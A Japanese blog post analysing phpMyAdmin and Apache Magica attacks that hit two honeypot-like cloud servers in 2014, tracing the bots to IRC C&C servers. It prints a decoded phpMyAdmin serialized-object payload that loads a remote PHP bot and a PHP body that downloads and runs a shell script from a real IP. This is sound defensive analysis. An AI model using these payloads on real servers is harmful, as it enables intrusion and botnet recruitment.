ニフティクラウドとさくらのVPSに来る悪い人を比べてみる
ニフティクラウドでサーバを数台、手配していたのですが、諸事情で3月末までに返却しないといけなくなってしまいました。
ということで返す前に、ニフティクラウドに攻撃している悪い人たちと、さくらのVPSに攻撃している悪い人たちとを比べるとどうなのか……をちょっと見てみます。前回の「ニフティクラウドに来る悪い人を観察する、の取っかかり」の続きです。
環境
2/1から3/21までの期間、データ取得をおこいました。用いたVM環境は、以下の表の通りです。
ニフティクラウド | さくらのVPS | |
---|---|---|
サーバの場所 | 西日本(WEST-1) | 石狩 |
IPアドレス | 175.184.19.124 | 153.120.5.227 |
OS | CentOS 6.4 (64bit) | CentOS 6.5 (64bit) |
Apacheバージョン | 2.2.15(標準RPM) | 2.2.15(標準RPM) |
なおApacheについては、mod_rewriteを用いて、多くの既知の攻撃アクセスを決め打ちでHTTPステータス[200 OK]を返すように設定しました(下図はその一部)。
<LocationMatch "^/(phpMyAdmin|myadmin)/scripts/setup.php"> RewriteEngine on RewriteRule /phpMyAdmin/scripts/setup.php /phpMyAdmin/scripts/index.html [L] </LocationMatch>
観察する攻撃対象
どの辺を比べようかなーと思っていたのですが、借りていたニフティクラウドでは明確なハニーポット行為は禁止ということだったので、KippoとかDionaeaは入れられませんでした。というわけでsshなどのアタックは取らず、単純にApacheのアクセスログと、80/tcpをtcpdumpしておいたものをひっそり見ていただけです。
Webサーバへの攻撃をつらつら眺めていると、ちょうど借りていた2014年2月-3月にはphpMyAdminへの攻撃が継続して来ていたので、これを比べてみることにします。この日記でも何度か紹介した、以下のようなパスへのリクエストです。
xx.xx.xx.xx - - [19/Mar/2014:00:29:13 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
phpMyAdmin攻撃アクセス数の比較
まず、日ごとの/phpMyAdmin/scripts/setup.phpへのPOSTリクエストの数をプロットします。グラフの縦軸がsetup.phpへのリクエスト数で、これは要するにApacheのログの行数です。
グラフは青線がニフティクラウド、赤線がさくらのVPSに来たリクエスト数です。
phpMyAdmin攻撃元IPアドレスの比較
今度は、/phpMyAdmin/scripts/setup.phpへのPOSTリクエストの、ユニークソースIPアドレス数を比べます。ニフティクラウドとさくらのVPSへの攻撃の際、一致したIPアドレス数を含めてプロットしたものが下図です。
図では、1日ごとに以下の値を出しています。
元々のアタック数がそんなに多いわけではないので、ざっくり見た感じの感想ですが、いちおー一致しているIPアドレスはちらほらありますね。というわけで「同一の悪い人」から来ている、とこれだけ見ても言えそうです。
phpMyAdmin攻撃POSTボディの比較
先ほど、「同一の悪い人」という表現をしました。しかし本来ならば、たとえ違うIPアドレスから攻撃されていようが、攻撃スクリプトの中身を解析していって最終的に同一のC&Cサーバへ誘導していれば、それは「同一の悪い人」の攻撃とみなすべきでしょう(もっとも、C&Cサーバも複数あるし、プロキシだけするC&Cサーバとかもあるので、話はそんなに単純じゃないけど)。
アクセス全期間についてこれを調べるのは大変なので、ある一日だけ抽出して探ってみることにしました。ここでは3/19のアクセスを見てみます。なお3/19を選んだのは、この作業を3/20におこなったためであり、深い意味はありません。
そんなに量が多いわけでもないので、ここでまず生ログを貼り付けておきましょう。なお抽出するのは、今までと同じく/phpMyAdmin/scripts/setup.phpへのPOSTリクエストです。
ニフティクラウドに来たもの
178.33.28.200 - - [19/Mar/2014:00:29:13 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.192 - - [19/Mar/2014:01:22:41 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.206 - - [19/Mar/2014:01:57:25 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 69.174.245.163 - - [19/Mar/2014:02:07:40 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 188.165.74.145 - - [19/Mar/2014:03:20:16 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.193 - - [19/Mar/2014:03:31:01 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.192 - - [19/Mar/2014:05:17:00 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.201 - - [19/Mar/2014:05:44:56 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.193 - - [19/Mar/2014:07:20:58 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.206 - - [19/Mar/2014:07:26:56 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.192 - - [19/Mar/2014:08:02:37 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 69.174.245.163 - - [19/Mar/2014:08:18:35 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.200 - - [19/Mar/2014:08:37:24 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 188.165.74.145 - - [19/Mar/2014:09:32:39 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.192 - - [19/Mar/2014:10:46:42 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.193 - - [19/Mar/2014:11:09:48 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.206 - - [19/Mar/2014:12:55:02 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.201 - - [19/Mar/2014:13:20:10 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 69.174.245.163 - - [19/Mar/2014:14:00:53 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.192 - - [19/Mar/2014:14:02:30 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.193 - - [19/Mar/2014:14:57:55 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 188.165.74.145 - - [19/Mar/2014:15:44:54 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.200 - - [19/Mar/2014:16:12:14 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.192 - - [19/Mar/2014:17:21:45 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.206 - - [19/Mar/2014:18:23:25 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.193 - - [19/Mar/2014:18:44:17 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 69.174.245.163 - - [19/Mar/2014:18:52:42 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.192 - - [19/Mar/2014:20:18:31 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.201 - - [19/Mar/2014:20:55:36 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 188.165.74.145 - - [19/Mar/2014:21:54:58 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.193 - - [19/Mar/2014:22:31:23 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.200 - - [19/Mar/2014:23:46:32 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.206 - - [19/Mar/2014:23:53:04 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
さくらのVPSに来たもの
188.165.74.145 - - [19/Mar/2014:03:05:53 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.199 - - [19/Mar/2014:03:31:11 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.199 - - [19/Mar/2014:09:05:51 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 188.165.74.145 - - [19/Mar/2014:09:18:21 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.199 - - [19/Mar/2014:14:47:43 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 188.165.74.145 - - [19/Mar/2014:15:30:43 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 178.33.28.199 - - [19/Mar/2014:20:29:08 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 188.165.74.145 - - [19/Mar/2014:21:40:53 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748
POSTボディを比較する
ソースIPアドレスのうち、ニフティクラウドとさくらのVPSで一致するものは188.165.74.145 (AS16276: OVH SAS (フランス))の1つだけでした。
phpMyAdminの攻撃では、setup.phpの脆弱性を利用して任意の外部PHPスクリプトを実行しようとする手法が有名です。この場合にはPOSTボディでphpスクリプトのダウンロード先を指定しているはずですから、POSTボディの方も見てみましょう。
上図は、WiresharkでPOSTリクエストをダンプしたものです。分かりやすくPOSTボディ部を抜き出して、URLエンコードされているものをデコードして見やすく改行を入れたものが以下です。
action=lay_navigation& eoltype=unix& token=& configuration=a:1:{ i:0;O:10:"PMA_Config":1:{ s:6:"source";s:33:"ftp://188.165.74.149/pub/bot1.php”; } }
ここでPMA_Configに指定しているPHPスクリプトを実行しようとしているわけです。なお、この辺について詳しくは、以前に書いた記事「phpMyAdminを狙った攻撃観察」を参照ください。
さて3/19の攻撃では、同一のソースIPアドレスから何度もPOSTが来ています。しかしPOSTボディを確認したところ、全てのアクセスについて「ソースIPアドレスが同じならばPOSTボディも同じ」でした。というわけで、ソースIPアドレスごとにダウンロードファイルをまとめるだけで十分です。それが下表です。
なおダウンロードファイルは、誤操作防止のため先頭のURLスキーマ部を全角で書きました。
攻撃先サーバ | 攻撃元IPアドレス | ダウンロードファイル |
---|---|---|
ニフティクラウド | 69.174.245.163 (AS13768: Peer1 Network(アメリカ)) | ftp://xxxx:xxxx@84.246.227.121/httpdocs/bot |
ニフティクラウド | 178.33.28.192 (AS16276: OVH SAS(フランス)) | ftp://188.165.74.149/pub/bot1.php |
ニフティクラウド | 178.33.28.193 (AS16276: OVH SAS(フランス)) | ftp://188.165.74.149/pub/bot2.php |
ニフティクラウド | 178.33.28.200 (AS16276: OVH SAS(フランス)) | ftp://37.59.68.4/pub/bot9.php |
ニフティクラウド | 178.33.28.201 (AS16276: OVH SAS(フランス)) | ftp://37.59.68.4/pub/bot10.php |
ニフティクラウド | 178.33.28.206 (AS16276: OVH SAS(フランス)) | ftp://178.33.28.211/pub/bot5.php |
さくらのVPS | 178.33.28.199 (AS16276: OVH SAS(フランス)) | ftp://37.59.68.4/pub/bot8.php |
さくら・ニフクラ両方 | 188.165.74.145 (AS16276: OVH SAS(フランス)) | ftp://188.165.74.149/pub/bot12.php |
さぁ、何となく「悪い人」の手口が見えてきました。どうやら悪い人(あるいは悪いグループ)は二人(あるいは2グループ)いて、ひとりはアメリカのPeer 1 Network、もうひとりはフランスのOVHを攻撃元の踏み台に利用しているようです。
なおひとつめのPeer1 Networkのダウンロードファイルですが、攻撃のPOSTボディ部にftpのIDとパスワードが思いっきり書いてあったため、ここでは「xxxx」と伏せています。
接続先C&Cサーバの比較
前節で、攻撃PHPスクリプトが分かったので、このスクリプトの中身を解析してみれば誘導先のC&Cサーバが分かるはずです。
まずOVHに置いてある方ですが、これはどれも同じPHPのボット、pBotと呼ばれるものでした。このスクリプトのコンフィグ部分を見れば、IRCで命令を発行するC&Cサーバの接続先があっさり分かります。
$cfg = array("server"=>"89.248.171.42", "port"=>"6667", "key"=>"*", "prefix"=>"Xtreme”, ...(省略)...
という感じで、指定されている”server”を拾っていけばいいわけです。
またPeer1 Networkの方ですが、これはftpのID・パスワード付きのファイルなので、このパスワードを借用してアクセスすると不正アクセス禁止法に触れてしまいます。どうしたもんじゃいと思いましたが、これ、ファイルパスが「/httpdocs/bot」と明らかにアレっぽい感じですよね。予想通り、httpで/botを取得してみたところ、BASIC認証も何もかかっておらずにあっさりダウンロードすることができました。なかなかこう上手く行く事例は少ないです。ラッキー。このbotも、中身はpBotでした。
というわけで先ほどの攻撃元IPアドレス表に、今度は誘導先のC&Cサーバを記載しました。
攻撃先サーバ | 攻撃元IPアドレス | 誘導先C&Cサーバ |
---|---|---|
ニフティクラウド | 69.174.245.163 (AS13768: Peer1 Network(アメリカ)) | topsrv.us.to |
ニフティクラウド | 178.33.28.192 (AS16276: OVH SAS(フランス)) | 89.248.171.42 (AS29073: Ecatel Network(オランダ)) |
ニフティクラウド | 178.33.28.193 (AS16276: OVH SAS(フランス)) | 94.102.63.134 (AS29073: Ecatel Network(オランダ)) |
ニフティクラウド | 178.33.28.200 (AS16276: OVH SAS(フランス)) | 89.248.171.43 (AS29073: Ecatel Network(オランダ)) |
ニフティクラウド | 178.33.28.201 (AS16276: OVH SAS(フランス)) | 89.248.171.44 (AS29073: Ecatel Network(オランダ)) |
ニフティクラウド | 178.33.28.206 (AS16276: OVH SAS(フランス)) | 80.82.64.68 (AS29073: Ecatel Network(オランダ)) |
さくらのVPS | 178.33.28.199 (AS16276: OVH SAS(フランス)) | 93.174.88.124 (AS29073: Ecatel Network(オランダ)) |
さくら・ニフクラ両方 | 188.165.74.145 (AS16276: OVH SAS(フランス)) | 89.248.171.43 (AS29073: Ecatel Network(オランダ)) |
OVH組は、全てオランダのEcatel Networkを根城にしていたみたいです。C&Cサーバの接続先のIPアドレスが違ってはいるのですが、手口や誘導先などから見て、「ニフティクラウドとさくらのVPSに来ていた悪い人は同じだった!」と言って良いでしょう。
一方、Peer1 Networkの方はC&Cサーバの誘導先をFQDNで書いていました。3/20にこのホスト名でDNSを引いておくのを忘れたため、3/23の情報ですが以下の3つのIPアドレスが返ってきました。
$ dig topsrv.us.to …(省略)… ;; ANSWER SECTION: topsrv.us.to. 3212 IN A 85.214.39.110 topsrv.us.to. 3212 IN A 202.102.111.84 topsrv.us.to. 3212 IN A 202.102.111.88 …(省略)...
これらのIPアドレスのASなどは下表の通り。
IPアドレス | AS番号など |
---|---|
85.214.39.110 | AS6724: Strato AG(ドイツ) |
202.102.111.84 | AS4134: CHINANET jiangsu province network(中国) |
202.102.111.88 | AS4134: CHINANET jiangsu province network(中国) |
これはOVH組とは違うようですね。
おまけ:Apache Magica攻撃
今までphpMyAdmin攻撃を見てきましたが、3/21にApache Magica攻撃が来ていました。この攻撃については、以前に書いた記事を参照ください(http://d.hatena.ne.jp/ozuma/20140101/1388510302)。
ニフティクラウドに来ていたもの
46.137.126.195 - - [21/Mar/2014:10:18:17 +0900] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C(略)
さくらのVPSに来ていたもの
202.137.17.179 - - [20/Mar/2014:09:35:44 +0900] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C(略) 202.137.205.138 - - [20/Mar/2014:10:02:35 +0900] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C(略)
POSTボディ部
この攻撃は、POSTボディ部にPHPスクリプトを書いて投げつけると、そのPHPスクリプトがサーバ上でそのまま実行されてしまう……という、悪い人には恐ろしく便利な(?)アタックです。というわけで、POSTボディ部を見てみれば、攻撃者が何をしようとしていたかがすぐ分かります。
そこで、POSTボディをダンプしておいたのを見たところ……これら3つの攻撃は、3つともまったく同じ以下のようなリクエストボディでした。
<?php system("wget http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");
というわけで、この3つの攻撃は、「同一の悪い人」からの攻撃であると容易に断言できました。
まとめ
というわけで、なんとなく気がついた点をつらつら挙げておきます。なお、この記事に書かなかった、その他の情報も含んだ感じのメモです。
- 攻撃者は、同一攻撃先であっても、コロコロと攻撃元のIPアドレスや攻撃ダウンロードファイルを変えるようだ。これは何かしらの意図があるのか、あるいは攻撃を「分業」しているからかもしれない。
- ニフティクラウドとさくらのVPSで、攻撃手法に差は見られなかった。同じ悪い人が、同じ手法で悪いことをしようとしているからだろう。
- 攻撃は、特定のホスティング業者を狙うパターンはあまり無く、広範囲のIPアドレスレンジに「絨毯爆撃」しているフシがある。つまり、「よそがやられればうちもやられる」ってこと。
- もう、インターネット上の全てのIPアドレスにスキャン、とかしている人も結構いるので……
- 広いIPアドレスレンジに攻撃しているためか、ニフティクラウドとさくらのVPSでの攻撃に、最大で数日の時間差が見られた。
- 昨今のクラウド流行りの陰では、このように踏み台やボットとなってしまった「野良サーバ」が山ほどある。